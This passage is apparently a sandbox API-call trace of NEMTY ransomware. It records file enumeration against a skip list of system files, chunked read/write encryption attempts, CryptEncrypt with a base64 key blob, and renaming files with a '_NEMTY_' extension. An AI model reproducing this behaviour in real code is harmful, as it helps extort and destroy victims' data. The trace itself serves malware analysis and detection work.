lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.672] CloseHandle (hObject=0xffffffff) returned 0 [0103.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0103.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0103.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnscfg.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnscfg.exe.mui._nemty_kgobjgd_")) returned 0 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.673] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="...") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="windows") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="rsa") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="NTDETECT.COM") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="ntldr") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="MSDOS.SYS") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="IO.SYS") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="boot.ini") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="boot.ini") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="ntuser.dat") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="desktop.ini") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="CONFIG.SYS") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="RECYCLER") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.673] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="bootmgr") returned 1 [0103.674] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="programdata") returned 1 [0103.674] lstrcmpiW (lpString1="wmpnssci.dll.mui", lpString2="appdata") returned 1 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0103.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssci.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssci.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0103.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0103.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0103.674] Sleep (dwMilliseconds=0x5) [0103.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf17136f0, dwHighDateTime=0x1d561e7)) [0103.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf17136f0, dwHighDateTime=0x1d561e7)) [0103.680] GetLastError () returned 0x5 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.680] GetLastError () returned 0x5 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.680] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.680] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0103.680] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="A6RMwN2+z89AJ/NDdTN7A7HXzzB4JhDJWX7denrIU6DlATP4nih0o40x1vwr32ou\r\n8D1eDeblAySrILPRfIeSD6/OPoxZuYQ+sAtE+Fk1uvg1FLcGeUUBrZQdauJRbQKg\r\nZnvqhK+x9NslznFYq9bEhcr0nDbw1l1Js7OINlCoXTXSqW0Feqz13/9gesNpQaDZ\r\nm/0uSYatxZDaWObWznLPG8YpexR7FYut7WZdoQbVGdu3GSNKGi14vpJRkMOJfq5j\r\n7ejQ5ki5pGMs/Z2+2wIlyuc7/kRvLKFoWiyfTxTjylWAoudke24h2RNaQGWm7pUG\r\nTE3KWQMp+xmPP7zDin1yFg==\r\n", pcchString=0x653ef9c) returned 1 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0103.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.680] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssci.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.681] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.699] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.766] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.828] SetFilePointer 